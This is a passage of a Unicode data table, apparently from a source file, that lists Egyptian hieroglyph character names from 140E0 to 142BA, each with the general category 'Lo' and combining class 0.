("EGYPTIAN HIEROGLYPH-140E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14100", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14101", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14102", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14103", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14104", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14105", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14106", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14107", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14108", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14109", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1410A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1410B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1410C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1410D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1410E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1410F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14110", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14111", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14112", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14113", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14114", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14115", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14116", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14117", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14118", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14119", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1411A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1411B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1411C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1411D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1411E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1411F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14120", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14121", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14122", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14123", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14124", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14125", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14126", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14127", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14128", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14129", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1412A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1412B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1412C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1412D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1412E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1412F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14130", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14131", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14132", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14133", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14134", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14135", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14136", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14137", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14138", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14139", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1413A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1413B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1413C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1413D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1413E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1413F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14140", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14141", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14142", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14143", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14144", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14145", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14146", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14147", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14148", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14149", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1414A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1414B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1414C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1414D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1414E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1414F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14150", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14151", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14152", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14153", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14154", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14155", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14156", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14157", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14158", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14159", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1415A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1415B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1415C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1415D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1415E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1415F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14160", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14161", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14162", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14163", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14164", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14165", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14166", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14167", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14168", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14169", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1416A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1416B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1416C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1416D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1416E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1416F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14170", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14171", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14172", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14173", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14174", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14175", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14176", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14177", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14178", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14179", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1417A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1417B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1417C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1417D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1417E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1417F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14180", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14181", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14182", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14183", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14184", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14185", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14186", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14187", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14188", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14189", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1418A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1418B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1418C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1418D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1418E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1418F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14190", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14191", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14192", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14193", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14194", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14195", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14196", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14197", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14198", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14199", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1419A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1419B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1419C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1419D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1419E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1419F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-141FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14200", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14201", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14202", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14203", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14204", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14205", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14206", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14207", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14208", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14209", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1420A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1420B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1420C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1420D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1420E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1420F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14210", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14211", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14212", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14213", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14214", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14215", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14216", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14217", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14218", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14219", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1421A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1421B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1421C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1421D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1421E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1421F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14220", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14221", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14222", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14223", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14224", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14225", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14226", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14227", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14228", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14229", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1422A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1422B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1422C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1422D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1422E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1422F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14230", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14231", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14232", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14233", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14234", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14235", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14236", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14237", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14238", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14239", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1423A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1423B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1423C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1423D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1423E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1423F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14240", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14241", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14242", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14243", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14244", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14245", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14246", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14247", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14248", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14249", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1424A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1424B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1424C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1424D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1424E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1424F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14250", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14251", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14252", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14253", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14254", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14255", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14256", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14257", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14258", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14259", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1425A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1425B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1425C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1425D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1425E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1425F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14260", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14261", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14262", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14263", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14264", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14265", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14266", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14267", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14268", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14269", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1426A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1426B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1426C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1426D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1426E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1426F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14270", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14271", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14272", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14273", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14274", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14275", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14276", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14277", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14278", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14279", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1427A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1427B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1427C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1427D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1427E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1427F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14280", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14281", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14282", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14283", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14284", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14285", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14286", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14287", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14288", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14289", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1428A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1428B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1428C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1428D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1428E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1428F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14290", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14291", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14292", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14293", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14294", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14295", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14296", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14297", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14298", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14299", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1429A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1429B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1429C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1429D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1429E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1429F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142BA", "Lo", 0),
